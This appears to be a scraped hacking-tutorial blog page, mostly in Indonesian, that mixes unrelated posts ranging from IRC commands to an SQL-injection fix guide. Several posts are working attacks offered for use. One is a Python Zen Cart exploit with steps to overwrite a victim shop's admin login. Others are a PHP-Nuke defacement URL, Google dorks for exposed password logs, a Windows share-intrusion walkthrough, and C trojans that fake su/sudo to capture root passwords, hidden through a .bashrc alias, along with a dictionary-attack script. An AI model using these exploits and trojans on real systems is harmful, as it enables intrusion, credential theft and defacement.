Hacking Ebooks

TUTORIALS
The beginner up to the expert

Download File

 Here

Proxy Detection in php

php
        /*
    
         
        
     This will detect any suspicious open socket
         that the user is running and if found in an
         array, it will not let the user proceed to 
         the website, and the ability to allow certain
         hosts to pass the scan.
    
        How can u use dis :
         include this page in any webpage you want protected.
        
        */
        
        $Ports = array('1080', '8080', '8000', '3128', '8888', '23', '80', '8081');     // To hold the list of ports.
        $AllowedHosts = array('localhost', 'allowedhost.com');                          // To hold the list of allowed hosts.
        $DisallowedHosts = array('127.0.0.1.poo.com', 'something.msn.com');             // To hold the list of disallowed hosts.
        $Redirect = "http://www.unixcon.net/~datalogik/scripts/";                       // Redirect page
        $SocketTimeout = 1;                                                             // Higher the number, the longer it takes.
        /* End of modification. */
        if ((!in_array ($REMOTE_ADDR, $AllowedHosts)) && (!in_array ($REMOTE_ADDR, $DisallowedHosts)))
        {
        
                $x = 1;
        
                while ($Ports[$x])
                {
                        $fSockPointer = fsockopen($REMOTE_ADDR, $Ports[$x], $errno, $errstr, $SocketTimeout);
                        if ($fSockPointer)
                        {
                                header ("Location: $Redirect");
                                fclose($fSockPointer);
                        }
                        $x++;
                }
        } else {
                if (in_array ($REMOTE_ADDR, $AllowedHosts))
                {
                        die();
                } else {
                        header ("Location: $Redirect");
                        die();
                }
        }
    ?>

Get Usernames and Passwords using Google

Get Usernames and Passwords using Google

Get Usernames and Passwords using Google
In this guide I will try my best to teach you how to use google to get your usernames and passwords for random sites....
Its pretty simple and all you need is a brain



So lets get started...

Start u your favorite internet browser, I am using firefox

Then go to
Code:
http://www.google.com



And type in the below code

Code:

filetype:log inurl:*password.log"

This will find all websites that stored a "password.log" on their servers, and you will be able to see the login and password for different users to different sites
Now google is being a bit smart asses, and you wont get the results on the 1st page, at least I did not, so bump out to 3+ pages and they started showing up for me

Below is an example of what I got
Code:

name: = "procesos"; password: = "procesos"; URL: = "http://ayura.udea.edu.co/

Here comes a 2nd way to do it, better and more effective in my opinion...

Once again, go to google

Type in the code below

Code:

ext:pwd inurlservice | authors | administrators | users) *#-FrontPage-*

Hit Search and.. youll get it by there..

How to use a trial software forever legally ..!!!

Now we download stuff almost daily. New products pop out so often. You can use any software forever you want. You can download trial version, right. Trial version expires after some days. You can stop that expiration. You can tell trial version of the software to not count days or do not bother about time. The software will stay and keep working like original software forever and will not expire or cease to work. You do not have to change your system clock. This little software does it all.



Time Stopper is the software which can stop the time for try out version software. When you stop the time you can use your try-out versions forever. When you stop the time of a try-out version using this Time Stopper it works via this Time Stopper. Real time and date run normally on your system. You can use any number of try-out version softwares with this software.

How it Works


1. Open Time Stopper
2. Browse and select .exe of required trial software
3. Choose the new date (Any date which occurs in between your trial software time period before expiration, suggestion: set it to two days before trial software expiration date.)
4. Choose any time
5. Click open software on your selected date

If you wish to create an icon for your modified trial software and do not want to open Time stopper every time then use last button in software to create new icon. open that trial software after that from that newly created icon always otherwise it can expire.


This is 100% free and 100% legal!!

Download tools

Here

Web Hacking Attacks & Defense

Web Hacking Attacks & Defense Exposes complete methodologies showing the actual techniques and attacks. Shows countermeasures, tools, and eye-opening case studies. Covers the web commerce playground, describing web languages and protocols, web and database servers, and payment systems. Stuart McClure, author of the best selling security book, Hacking Exposed, turns his expertise to web attacks and defenses. Web Hacking- Attacks and Defense, extends the Hacking Exposed legacy into the terrain of web vulnerabilities and attacks. Stuart McClure and his team bring even more in-depth insight into how hackers infiltrate web commerce systems, including database servers and payment systems. Web Hacking exposes complete methodologies showing the actual techniques and attacks. It shows countermeasures, tools, and eye-opening case studies. Goes beyond the Hacking Exposed formula, providing a level of detail and new analysis not found elsewhere.In the evolution of hacking, firewalls are a mere speed bump. Hacking continues to develop, becoming ever more sophisticated, adapting and growing in ingenuity as well as in the damage that results. Web attacks running over web ports strike with enormous impact. Stuart McClures new book focuses on Web hacking, an area where organizations are particularly vulnerable. The material covers the web commerce “playground, describing web languages and protocols, web and database servers, and payment systems. The authors bring unparalleled insight to both well- known and lesser known web vulnerabilities. They show the dangerous range of the many different attacks web hackers harbor in their bag of tricks — including buffer overflows, the most wicked of attacks, plus other advanced attacks. The book features complete methodologies, including techniques and attacks, countermeasures, tools, plus case studies and web attack scenarios showing how different attacks work and why they work. Stuart McClure is President and CTO of Foundstone, the premier provider of security tools and education. Stuart is a highly respected security authority. He is a successful author, speaker, and teacher. Stuart is the lead author of the best selling security book, Hacking Exposed. Saumil Shah and Shreeraj Shah are security and web application experts for Foundstone.

Klik Here

Bugs Zen Cart

Buka google ketik : powered by zen cart™ Nama Negara

Terus Copas neeh script :

#!/usr/bin/python

#
# ------- Zen Cart 1.3.8 Remote SQL Execution
# http://www.zen-cart.com/
# Zen Cart Ecommerce - putting the dream of server rooting within reach of anyone!
# A new version (1.3.8a) is avaible on http://www.zen-cart.com/
#
# BlackH :)
#

#
# Notes: must have admin/sqlpatch.php enabled
#
# clean the database :
# DELETE FROM `record_company_info` WHERE `record_company_id` = (SELECT `record_company_id` FROM `record_company` WHERE `record_company_image` = '8d317.php' LIMIT 1);
# DELETE FROM `record_company` WHERE `record_company_image` = '8d317.php';

import urllib, urllib2, re, sys

a,b = sys.argv,0

def option(name, need = 0):
 global a, b
 for param in sys.argv:
  if(param == '-'+name): return str(sys.argv[b+1])
  b = b + 1
 if(need):
  print '\n#error', "-"+name, 'parameter required'
  exit(1)

if (len(sys.argv) < 2):
 print """
=____________ Zen Cart 1.3.8 Remote SQL Execution Exploit  ____________=
========================================================================
|                  BlackH                           |
========================================================================
|                                                                      |
| $system> python """+sys.argv[0]+""" -url                                  |
| Param:       ex: http://victim.com/site (no slash)              |
|                                                                      |
| Note: blind "injection"                                              |
========================================================================
 """
 exit(1)
 
url, trick = option('url', 1), "/password_forgotten.php"

while True:
 cmd = raw_input('sql@jah$ ') 
 if (cmd == "exit"): exit(1)
 req = urllib2.Request(url+"/admin/sqlpatch.php"+trick+"?action=execute", urllib.urlencode({'query_string' : cmd}))
 if (re.findall('1 statements processed',urllib2.urlopen(req).read())):
  print '>> success (', cmd, ")"
 else:
  print '>> failed, be sure to end with ; (', cmd, ")"

tuh pithon save dgn extensi zen.py

sebelum nya komputer kamu instal dlu pithon nya , kalo blum aja download aja di : http://www.python.org/ftp/python/2.5/python-2.5.msi

kalo udah buka cmd
misal zen.py kamu taruh di desktop bearti cmd kamu arahin ke desktop dlu

kalo udah ketik : zen.py -url htttp://webkorban.com
contohh : zen.py -url http://customizthat.com/2010/admin/ <--enter
trus nanti ada tulisan $sql@jah
aklo ada tulisan itu bearti masukin perintah : UPDATE admin SET admin_name='adminz', admin_email='admin@shopadmin.com', admin_pass='617ec22fbb8f201c366e9848c0eb6925:87' WHERE admin_id='1'; trus enter

kalo berhasil maka akan muncul kayak ini : >> success ( UPDATE admin SET admin_name='adminz', admin_email='admin@shopadmin.
com', admin_pass='617ec22fbb8f201c366e9848c0eb6925:87' WHERE admin_id='1'; )
sql@jah$

contoh nya nih ss nya :

kalo udah succes, tinggal di url target ditambahin /admin/
kalo succes setiap username sama pasword nya itu adminz : wew

Command mIRC

ChanServ

1. Register Channel = /cs register (#channel) (password) (desikripsi)

2. Identify Channel = /cs identify (#channel) (password)

3. Successor = /cs set (#channel) successor (nickname)

4. Drop Channel = /cs drop (#channel)

5. Ganti Pass Channel = /cs set (#channel) passwd (password lama) (password
baru)

6. Lupa Pass Channel = /cs sendpass (#channel) (email)

7. Founder Baru (Identify #Channel Dulu) = /cs set (#channel) founder

8. Mailblock = /cs set (#channel) mailblock (on/off)

9. Private = /cs set (#channel) private (on/off)

10. Set Description = /cs set (#channel) desc (deskripsinya)

11. Set Topic = /cs set (#channel) topik (topiknya)

12. Set URL = /cs set (#channel) url (alamat url-nya)

13. Set Mlock = /cs set (#channel) mlock (tulis modenya)

14. Set Restrict = /cs set (#channel) restrict (on/off)

15. Set KeepTopic = /cs set (#channel) keeptopic (on/off)

16. Set TopikLock = /cs set (#channel) topikclock (off/sop/founder)

17. Set Memo Channel = /cs set (#channel) memo (none/aop/sop/founder)

18. Set OP-Guard = /cs set (#channel) opguard (on/off)

19. Add/Del Sop = /cs sop (#channel) (add/del) (nick)

20. Add/Del Aop = /cs aop (#channel) (add/del) (nick)

21. Lihat List Op = /cs (aop/sop) (#channel) list

22. Akick Nick = /cs akick (#channel) (add/del) (Nick!*@*)

23. Akick Ident = /cs akick (#channel) (add/del) (*!ident@*)

24. Akick IP Address = /cs akick (#channel) (add/del) (*!*@IP Addressnya)

25. Akick List = /cs akick (#channel) list

26. Op List = /cs (sop/aop) (#channel) list

27. Lihat Akses = /cs why (#channel) (nick)

28. Unban = /cs unban (#channel) (nick)

29. Invite = /cs invite (#channel) (nick)

30. Info = /cs info (#channel)

31. Access Channel = /cs access (#channel) (nick op)

32. Count = /cs count (#channel)

NickServ :

1. Register Nick = /ns register (password) (email)

2. Identify Nick = /ns identify (password)

3. Ganti Pass = /ns set passwd (password lama) (password baru)

4. Enforce = /ns set enforce (on/off)

5. Kill Ghost = /ns ghost (nick) (password)

6. Kill = /ns set kill (on/off)

7. Recover = /ns recover (nick) (password)

8. Release = /ns release (nick) (password)

9. Drop = /ns drop (nick)

10. No Op = /ns set noop (on/off)

11. No Memo = /ns set nomemo (on/off)

12. Info = /ns info (nickname)

13. URL = /ns set url (http:// )

14. Ganti Email = /ns set email (password) (emailnya)

15. Showemail = /ns set showemail (on/off)

16. MailBlock = /ns set mailblock (on/off)

MemoServ :

1. Send Nick = /ms send (nickname) (pesan)

2. Send OP = /ms send (#channel) (pesan)

3. Send SOP = /ms sendsop (#channel) (pesan)

4. Lihat Memo = /ms list

5. Baca Memo = /ms read (no. list memo)

6. Hapus Memo = /ms del (no. list memo)

7. Hapus Semua = /ms del all

Perintah Dasar mIRC :

1. Ganti nick = /nick (nick baru)

2. Notice = /notice (nick) (pesan)

3. Masuk Channel = /join (#channel)

4. Keluar Channel = /part (#channel)

5. Keluar IRC = /quit (pesan)

6. Ganti Server = /server (nama server)

7. Private = /query (nick)

8. Invite = /invite (nick) (#channel)

9. Mode I = /mode (nick) +I

10. Ignore = /ignore (nick)

11. Action = /me (pesan)

12. Whois = /whois (nick)

13. Away = /away (pesan)

14. Balik Away = /away

15. Ping = /ping (nick)

16. Bersihkan layar = /clear

Perintah Standar Untuk OP Channel :

/kick (#channel) (nick) = kick user

/topik (#channel) (topiknya) = mengganti topik channel

/kick (#channel) (nick) (alasan) = kick user dengan alasan

/mode (#channel) +b *!*@IPnya = Band IP user, missal /mode #channel +b *!*@125.123.19.*

/mode (#channel) +b nick!*@* = Ban nick user, missal /mode #channel +b nick!*@*

/mode (#channel) +o (nick) = memberikan Op pada user

/mode (#channel) +v (nick) = memberikan voice pada user

/mode (#channel) -o (nick) = menurunkan user agar tidak Op lagi

/mode (#channel) -v (nick) = mengambil voice user

/mode (#channel) +/- ntispklRrmc = set mode channel

/channel = melihat mode dan ban list channel


/nickserv register (password) (email) = register nick
/nickserv ghost (nick) (passwd) = kill ghost yaitu bila nick dipakai orang atau tertinggal di channel
/nickserv identify (password) = identify nick
/nickserv set kill (on/off) = set kill nick
/nickserv recover (nick) (passwd) = recover nick
/nickserv release (nick) = release nick
/nickserv drop (nick) = drop nick
/nickserv set passwd (passwd baru) = ganti password nick
/nickserv set noop (on/off) = set no op untuk nick
/nickserv set nomemo (on/off) = set no memo untuk nick
/nickserv info (nick) = mengetahui informasi tentang nick

Perintah MemoServ Dalnet

/memoserv list = melihat daftar memo anda
/memoserv send (nick) (pesan) = kirim memo
/memoserv send (#channel) (pesan) = kirim memo ke op
/memoserv read (no. list memo) = baca memo yang ke berapa (sesuai list memo)
/memoserv del (no. list memo) = hapus memo no di list
/memoserv undel (no. list memo) = undelete memo

AKICK
Daftar Akick list di dalam suatu channel
Arti :

Dengan akick list user yang masuk dalam channel akan otomatis di kick dan di ban secara permanen oleh services ChanServ.

Contoh Perintah: /chanserv AKICK (channel) (add/del/list) [nickname/user@host]

How to fix SQL injection vulnerabilities

Here is an example of vulnerable code in which the user-supplied input is directly used in a SQL query:

Name: < input type = "text" name = " Name" />

< input type = " submit " value = " Add Comment" />

$query = "SELECT * FROM users WHERE username = '{$_POST['username']}";
$result = mysql_query($query);
?>

The script will work normally when the username doesn't contain any malicious characters. In other words, when submitting a non-malicious username (steve) the query becomes:

$query = "SELECT * FROM users WHERE username = 'steve'";

However, a malicious SQL injection query will result in the following attempt:

$query = "SELECT * FROM users WHERE username = '' or '1=1'";

As the "or" condition is always true, the mysql_query function returns records from the database. A similar example, using AND and a SQL command to generate a specific error message, is shown in the URL below in Figure 1.


Figure 1. Error message displaying the MS SQL server version.

It is obvious that these error messages help an attacker to get a hold of the information which they are looking for (such as the database name, table name, usernames, password hashes etc). Thus displaying customized error messages may be a good workaround for this problem, however, there is another attack technique known as Blind SQL Injection where the attacker is still able to perform a SQL injection even when the application does not reveal any database server error message containing useful information for the attacker.

Fix:

1. Avoid connecting to the database as a superuser or as the database owner. Always use customized database users with the bare minimum required privileges required to perform the assigned task.
2. If the PHP magic_quotes_gpc function is on, then all the POST, GET, COOKIE data is escaped automatically.
3. PHP has two functions for MySQL that sanitize user input: addslashes (an older approach) and mysql_real_escape_string (the recommended method). This function comes from PHP >= 4.3.0, so you should check first if this function exists and that you're running the latest version of PHP 4 or 5. MySQL_real_escape_string prepends backslashes to the following characters: \x00, \n, \r, \, ', "and \x1a.

References for standard SQL Injection:

1. Steve's SQL Injection attack examples
2. SQL Injection Whitepaper (PDF)
3. Advanced SQL Injection paper

Blind SQL Injection:

1. SPI Dynamics blind SQL Injection paper (PDF)
2. iMperva blind SQL Injection article

Cara Upgrade Mikrotik ke Versi yang lebih tinggi

Bagi temen-temen yang pengen upgrade mikrotik dari versi rendah ke versi yang lebih tinggi gini nih crnya ......

1. downloadlah sebuah file dengan nama "routeros-x86-versi-mikrotiknya.npk"
2. seteleh selesai di download, buka command prompt
3. ingat letakkan file downloadan pada harddisk "c:\routeros-x86-2.9.27.npk"
4. pindah ke root direktori dengan mengetikkan "cd \"
5. lalu ketikkan perintah ini "ftp nomor-ip-server-mikrotik" dan enter
6. ketik "binary"
7. ketikkan lagi "put routeros-x86-2.9.27.npk" maka proses upload akan terjadi
8. setelah selesai maka restartlah server mikrotik kita "/system/reboot"
8. tunggu sampai booting ulang lagi. setelah itu server mikrotik kita udah
terupgrade menjadi versi yang kita download tadi.

NB: semua command di cmd tanpa tanda petik ->> "

GOOD LUCK & ENJOY !!!

Hacking password + cara mengambil data share IM2 atau Telcok Flash

This Old Metode but maybe still can use

Tools:
1. IP angry ( IP Scaner )
2. kaht2
3. Forgot password Windows
4. sebungkus Sampoerna Mild (Merk tergantung selera)
5. secangkir capucino susu (klw bisa susu peras or susu emut)
6. access Indosat Broadband Im2

First step: scan ip nya dengan menggunakan IP angry ( IP Scaner )
Permasalahan How to make Kaht2 nggak perlu di kasih tau lagi kan ?
klo belom tau juga tanya mbah google...........

Next step: Di tahap ini kita coba sharing data mereka...

Share name Resource Remark

-------------------------------------------------------------------------------
IPC$ Remote IPC
D$ D:\ Default share
F$ F:\ Default share
ADMIN$ C:\WINDOWS Remote Admin
C$ C:\ Default share
E$ E:\ Default share

The command completed successfully.

klo muncul tampilan seperti ini berarti kita sucess masuk dan dapat acess Remote Admin dan bisa add user admin kita.........
klo sudah begitu yach...selanjut nya terserah anda...anda juga bisa membuka data open share.
tinggal save..SELANJUT NYA TERSERAH ANDA...!!!

List Port Virus and Trojan

/ip firewall filter
add chain=virus protocol=udp action=drop dst-port=1 comment="Sockets des Troie"
add chain=virus protocol=tcp action=drop dst-port=2 comment="Death"
add chain=virus protocol=tcp action=drop dst-port=20 comment="Senna Spy FTP server"
add chain=virus protocol=tcp action=drop dst-port=21 comment="Back Construction, Blade Runner, Cattivik FTP Server, CC Invader, Dark FTP, Doly Trojan, Fore, Invisible FTP, Juggernaut 42, Larva, MotIv FTP, Net Administrator, Ramen, Senna Spy FTP server, The Flu, Traitor 21, WebEx, WinCrash"
add chain=virus protocol=tcp action=drop dst-port=22 comment="Shaft"
add chain=virus protocol=tcp action=drop dst-port=23 comment="Fire HacKer, Tiny Telnet Server TTS, Truva Atl"
add chain=virus protocol=tcp action=drop dst-port=25 comment="Ajan, Antigen, Barok, Email Password Sender EPS, EPS II, Gip, Gris, Happy99, Hpteam mail, Hybris, I love you, Kuang2, Magic Horse, MBT Mail Bombing Trojan, Moscow Email trojan, Naebi, NewApt worm, ProMail trojan, Shtirlitz, Stealth, Tapiras, Terminator, WinPC, WinSpy"
add chain=virus protocol=tcp action=drop dst-port=30 comment="Agent 40421"
add chain=virus protocol=tcp action=drop dst-port=31 comment="Agent 31, Hackers Paradise, Masters Paradise"
add chain=virus protocol=tcp action=drop dst-port=41 comment="Deep Throat, Foreplay"
add chain=virus protocol=tcp action=drop dst-port=48 comment="DRAT"
add chain=virus protocol=tcp action=drop dst-port=50 comment="DRAT"
add chain=virus protocol=tcp action=drop dst-port=58 comment="DMSetup"
add chain=virus protocol=tcp action=drop dst-port=59 comment="DMSetup"
add chain=virus protocol=tcp action=drop dst-port=79 comment="CDK, Firehotcker"
add chain=virus protocol=tcp action=drop dst-port=80 comment="711 trojan, Seven Eleven, AckCmd, Back End, Back Orifice 2000 Plug-Ins, Cafeini, CGI Backdoor, Executor, God Message, God Message Creator, Hooker, IISworm, MTX, NCX, Reverse WWW Tunnel Backdoor, RingZero, Seeker, WAN Remote, Web Server CT, WebDownloader"
add chain=virus protocol=tcp action=drop dst-port=81 comment="RemoConChubo"
add chain=virus protocol=tcp action=drop dst-port=99 comment="Hidden Port, NCX"
add chain=virus protocol=tcp action=drop dst-port=110 comment="ProMail trojan"
add chain=virus protocol=tcp action=drop dst-port=113 comment="Invisible Identd Deamon, Kazimas"
add chain=virus protocol=tcp action=drop dst-port=119 comment="Happy99"
add chain=virus protocol=tcp action=drop dst-port=121 comment="Attack Bot, God Message, JammerKillah"
add chain=virus protocol=tcp action=drop dst-port=123 comment="Net Controller"
add chain=virus protocol=tcp action=drop dst-port=133 comment="Farnaz"
add chain=virus protocol=tcp action=drop dst-port=135-139 comment="Blaster worm"
add chain=virus protocol=udp action=drop dst-port=135-139 comment="messenger worm
add chain=virus protocol=tcp action=drop dst-port=142 comment="NetTaxi"
add chain=virus protocol=tcp action=drop dst-port=146 comment="Infector"
add chain=virus protocol=udp action=drop dst-port=146 comment="Infector"
add chain=virus protocol=tcp action=drop dst-port=170 comment="A-trojan"
add chain=virus protocol=tcp action=drop dst-port=334 comment="Backage"
add chain=virus protocol=tcp action=drop dst-port=411 comment="Backage"
add chain=virus protocol=tcp action=drop dst-port=420 comment="Breach, Incognito"
add chain=virus protocol=tcp action=drop dst-port=421 comment="TCP Wrappers trojan"
add chain=virus protocol=tcp action=drop dst-port=445 comment="Blaster worm
add chain=virus protocol=udp action=drop dst-port=445 comment="Blaster worm

Ngeroot Linux memanfaatkan penyalahgunaan su dan sudo

Yup kali ini adalah sedikit tutor ringan ngeroot linux dh menyalahgunakan menggunakan trojan dan dict attack su dan sudo.
pada suatu ketika mungkin Anda mendapatkan suatu login ssh atau bc atau bdp dg suphp mode on dg login user biasa (uidnya bukan root(0)).
Diantara begitu banyak penyalah gunaan yang ada di linux utk gaining root akun (format string, bof, suid, elf infected, mengecek kesalahan permisi file dan direktori), kali ini kita akan menggunaan teknik penyalah gunaan su dan sudo ( dg catatan user biasa tersebut memiliki permisi menjalankan su dan sudo).
ok ga pake basa basi kita mulai, misal penulis mendapatkan akun di sebuah mesin dg login: turkmentel
mangga-dua.com/albums/thumb/su1.jpg

langsung kita cek apa su dan sudo bisa dipake dg mengetik su dan sudo. jika bisa maka kita bisa lakukan trik2 ini untuk mendapat root:
Su & Sudo Trojan
kalau di jaman dulu mungkin anda banyak yg senang pakai trojan 2 yg bisa didownload di astalavista tapi kali ini fungsinya serupa tapi tak sama. begini cara kerja dan cara pasang trojan su dan sudo ini:
su trojan: (fakesu.c)

========================================================================
#include
#include
#include
int main()
{
FILE *log;
char *password[100];
printf("Password:");
scanf("%s",&password);
log=fopen("/tmp/.../log.txt","a+");
if(log!=NULL)
{
fputs("\nSimple su trojan by mywisdom\n",log);
fputs(password,log);
fputs("\n",log);

}
printf("Sorry\n");
}
========================================================================

Silahkan dimodif kalau bisa sih ukuranya dibikin sama dg elf binary su yg asli dan disesuaikan dg stdout di mesin yg mao diroot(misal kita taruh di direktori /tmp/... (kalo gak terpaksa jgn ditaruh di /tmp krn tmp merupakan sasaran audit sistem),jangan lupa hapus semua berkas2 bekas anda ngeroot di /tmp setelah mendapat akses root. berikut ini kita siapkan perangkap utk user asli saat beliau mengetik perintah su (siapkan file log.txt di direktori /tmp/.../log.txt):

=========================================================================
cd /tmp & mkdir ...
cd /tmp/...;nano fakesu.c
gcc fakesu.c -o fakesu
touch log.txt
=======================================================================

(nama file gak mesti fakesu bisa nama 2 yg tidak mencurigakan, direktori juga gak mesti di /tmp/... (bebas silahkan taruh di tempat yg kira 2 aman)
misal kita punya akses user dg login turkmentel dg home direktori di /home/turkmentel,lalu kita edit .bashrc (jika jenis shell user adalah bash, di mana .bashrc merupakan setting startup utk bash shell)

==========================================================================
turkmentel@localhost.localdomain:~$cd & pwd
/home/turkmentel
turkmentel@localhost.localdomain:~$nano .bashrc
===================================================================

(editor tidak harus nano bisa pico,vim,vi,dll)
lalu kita tambahkan alias ini di .bashrc (misal:

==============================================================
alias su='/tmp/..././fakesu'
==============================================================

di mana alias path gak mestik /tmp/..., silahkan disesuaikan di mana anda taruh trojan tsb di tempat yang aman. (disarankan jgn di /tmp jika tidak terpaksa)
yup memang ini sangat cocok utk user biasa yang kadang menggunakan perintah su. begitu si user turkmentel asli mengetik su:

maka password root nya akan terekam di file log.txt di direktori /tmp/... yg tadi kita siapkan.
selain su, trojan utk sudo juga bisa kita buat dg urutan step2 pemasangan jebakan yg sama dg trojan su.

===============================================================
#include
#include
#include
int main()
{
FILE *log;

char *password[100];
printf("Password:");
scanf("%s",&password);

log=fopen("/usr/include/.../log.txt","a+");
if(log!=NULL)
{
fputs("\nSimple sudo trojan by mywisdom\n",log);
fputs(password,log);
fputs("\n",log);

}
printf("Sorry\n");
}
=========================================================================

caranya sama dg step di atas dg alias sudo di .bashrc (bash startup) silahkan dimodif dan disesuaikan dg kondisi di server:

=========================================================================
#include
#include
#include
int main()
{
FILE *log;

char *password[100];
printf("Password:");
scanf("%s",&password);

log=fopen("/usr/include/.../log.txt","a+");
if(log!=NULL)
{
fputs("\nSimple sudo trojan by mywisdom\n",log);
fputs(password,log);
fputs("\n",log);

}
printf("Sorry\n");
}
=======================================================================

Su & Sudo Dictionary Attack
yup teknik ini akan mempan utk password2 root yang lemah. khusus kali ini ane siapkan skrip python sederhana yang bisa melakukan dict attack password root dg membaca stdout yg dihasilkan dari perintah su dan penginputan password ke stdin sebelumnya (modul python pexpect harus ada di mesin itu).
sebelumnya siapkan daftar wordlist di direktori yang sama dg file su.py ini
su.py

=====================================================================
#simpe su dict attack by xXx
#!/usr/bin/python
import pexpect
import sys
import time
import os
fd = open("pasword1.txt")
content = fd.readline()
salah="ya"
while (content != "" and salah=="ya"):
content.replace( "\n", "" )
content = fd.readline()
print "trying su using password:"+content

foo = pexpect.spawn('su')
foo.expect('.*')
foo.sendline(content)
try:
a=foo.expect(['#', 'Terminal type', '[#\$] '])
if a == 0:
print "w00t found su password for this idiotic root: "+content+"\n"
foo.kill(0)
salah="tidak"
sys.exit(0)

else:
print "salah neh\n"
foo.kill(0)
except:
if salah=="ya":
print "wrong password for su baby, sorry!\n"
foo.kill(0)
===========================================================================

Berikut ini screen shoot hasil uji coba di kala mendapat password root:
yup didapat password root adala fuckyou

Pencegahan
dengan mencegah teknik2 ini adalah mencegah user biasa menggunakan su mengedit file /etc/pam.d/su

tambahkan line ini:

======================================================================
auth required pam_wheel.so use_uid
account required pam_unix.so
======================================================================

Atau bisa juga mengatur permisi su dan sudo agar hanya bisa diexecute oleh root dan juga menggunakan password yang kuat (kombinasi angka,huruf,karakter)...

Post Interrupt management: "net_rx_action"

We'll see now an example of what happens when we send a TCP packet to Linux, starting from ''netif_rx [net/core/dev.c]'' call.

===============================================
|netif_rx
|__skb_queue_tail
|qlen++
|* simple pointer insertion *
|cpu_raise_softirq
|softirq_active(cpu) |= (1 << NET_RX_SOFTIRQ) // set bit NET_RX_SOFTIRQ in the BH vector
==========================================================

Once IRQ interaction is ended, we need to follow the next part of the frame life and examine what NET_RX_SOFTIRQ does.
We will next call ''net_rx_action [net/core/dev.c]'' according to "net_dev_init [net/core/dev.c]".

===================================================================
|net_rx_action
|skb = __skb_dequeue (the exact opposite of __skb_queue_tail)
|for (ptype = first_protocol; ptype < max_protocol; ptype++) // Determine
|if (skb->protocol == ptype) // what is the network protocol
|ptype->func -> ip_rcv // according to ''struct ip_packet_type [net/ipv4/ip_output.c]''

**** NOW WE KNOW THAT PACKET IS IP ****
|ip_rcv
|NF_HOOK (ip_rcv_finish)
|ip_route_input // search from routing table to determine function to call
|skb->dst->input -> ip_local_deliver // according to previous routing table check, destination is local machine
|ip_defrag // reassembles IP fragments
|NF_HOOK (ip_local_deliver_finish)
|ipprot->handler -> tcp_v4_rcv // according to ''tcp_protocol [include/net/protocol.c]''

**** NOW WE KNOW THAT PACKET IS TCP ****
|tcp_v4_rcv
|sk = __tcp_v4_lookup
|tcp_v4_do_rcv
|switch(sk->state)

*** Packet can be sent to the task which uses relative socket ***
|case TCP_ESTABLISHED:
|tcp_rcv_established
|__skb_queue_tail // enqueue packet to socket
|sk->data_ready -> sock_def_readable
|wake_up_interruptible


*** Packet has still to be handshaked by 3-way TCP handshake ***
|case TCP_LISTEN:
|tcp_v4_hnd_req
|tcp_v4_search_req
|tcp_check_req
|syn_recv_sock -> tcp_v4_syn_recv_sock
|__tcp_v4_lookup_established
|tcp_rcv_state_process

*** 3-Way TCP Handshake ***
|switch(sk->state)
|case TCP_LISTEN: // We received SYN
|conn_request -> tcp_v4_conn_request
|tcp_v4_send_synack // Send SYN + ACK
|tcp_v4_synq_add // set SYN state
|case TCP_SYN_SENT: // we received SYN + ACK
|tcp_rcv_synsent_state_process
tcp_set_state(TCP_ESTABLISHED)
|tcp_send_ack
|tcp_transmit_skb
|queue_xmit -> ip_queue_xmit
|ip_queue_xmit2
|skb->dst->output
|case TCP_SYN_RECV: // We received ACK
|if (ACK)
|tcp_set_state(TCP_ESTABLISHED)
==================================================================================

Description:

* First we determine protocol type (IP, then TCP)
* NF_HOOK (function) is a wrapper routine that first manages the network filter (for example firewall), then it calls ''function''.
* After we manage 3-way TCP Handshake which consists of:

SERVER (LISTENING) CLIENT (CONNECTING)
SYN
<-------------------


SYN + ACK
------------------->


ACK
<-------------------

3-Way TCP handshake

NB: In the end we only have to launch "tcp_rcv_established [net/ipv4/tcp_input.c]" which gives the packet to the user socket and wakes it up.

Router Mikrotic (Aktivasi proxy di ip web proxy)

/ ip web-proxy
set enabled=yes src-address=0.0.0.0 port=8080 hostname=”proxy.phonix.net” \
transparent-proxy=yes parent-proxy=0.0.0.0:0 \
cache-administrator=”webmaster@phonix.net” max-object-size=4096KiB \
cache-drive=system max-cache-size=unlimited max-ram-cache-size=unlimited

max-cache-size=unlimited max-ram-cache-size=unlimited –>> tegantung besar hardisk

Teknik Deface dengan bug yang sudah lama

Bingung pada mua belajar deface ? dan susah di mengerti tutor'a ?
Oke dey gw bakal ngajarin Bugs deface yang udah lama banget buat kalian.
Salah satu teknik daface sederhana yang sdh lawas & cucok banget buat newbie² buat belajar..

Dengan menggunakan bug seperti :

www.target.com/nuke/admin.php?op=AddAuthor&add_aid=Newbie&add_name=nwb&add_pwd=newbiejelek&add_email=newbie@dodol.com&add_radminsuper=1&admin=eCcgVU5JT04gU0VMRUNUIDEvKjox

kamu dapat membuat text sederhana pada halaman depan site seperti :

Defaced by Newbie

Greetz to everyone at #yogyacarderlink

Hey admin.. find your hole and close it.

----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

Langkah awal buka om google ketik :

allinurl:.com/nuke /index.php atau allinurl:.org/nuke/index.php

Nah ..... kalo sudah ketemu site targetnya maka langkah selanjutnya adalah :

1. www.target.com/nuke/index.php

2. www.target.com/nuke/admin.php => index.php yg diatas tadi dirubah
menjadi admin.php

3. Masukkan bug nya di belakang site target misal :

www.target.com/nuke/admin.php?op=AddAuthor&add_aid=Newbie&add_name=nwb&add_pwd=newbiejelek&add_email=newbie@dodol.com&add_radminsuper=1&admin=eCcgVU5JT04gU0VMRUNUIDEvKjox

Kalo nggak mau berarti site tsb udah di path ama admin nya.

Tapi kalo berhasil, maka di url/browsing kamu akan muncul :

www.target.com/nuke/admin.php?op=mod_author

5. Disana kamu di suruh login, masukin id & password kamu tadi. Masih ingat kan ???

id=Newbie => liat yg diatas tadi
password=newbiejelek => liat yg diatas tadi

Nah . . . kamu sekarang sudah masuk ke "Administration Menu" site tsb. Berarti kamu sudah menguasai site tsb sekarang ! He.. he.. he..

Sekarang kamu pilih gambar Handphone (dibawahnya ada tulisan Messages), lalu input :

title =>

Defaced by Newbie

content =>

Hey admin.......find your hole and close it..
Greetz to everyone at #yogyacarderlink

expiration => unlimited trus klik tab add messages yg ada dibawah

Kalo sudah, buka url/browsing baru lalu ketikkan site target tadi, misal : www.target.com/nuke atau www.target.com/nuke/index.php

kalo nggak ada hasil deface kamu coba klik tab refresh yg ada diatas yg disamping url/browsing kalian...

Iseng Mainan Javascript

Mungkin kita beranggapan kode JS hnyalah kode pembuat kepala pusing, but that's not true friends…. Lets check it out… semua code dibawah ini copy dan pastekan ke address bar pada browser kalian

1.edittable web local machine
Code:

javascript: document.body.contentEditable = 'true'; document.designMode = 'on'; void 0

2.image terbang
Code:

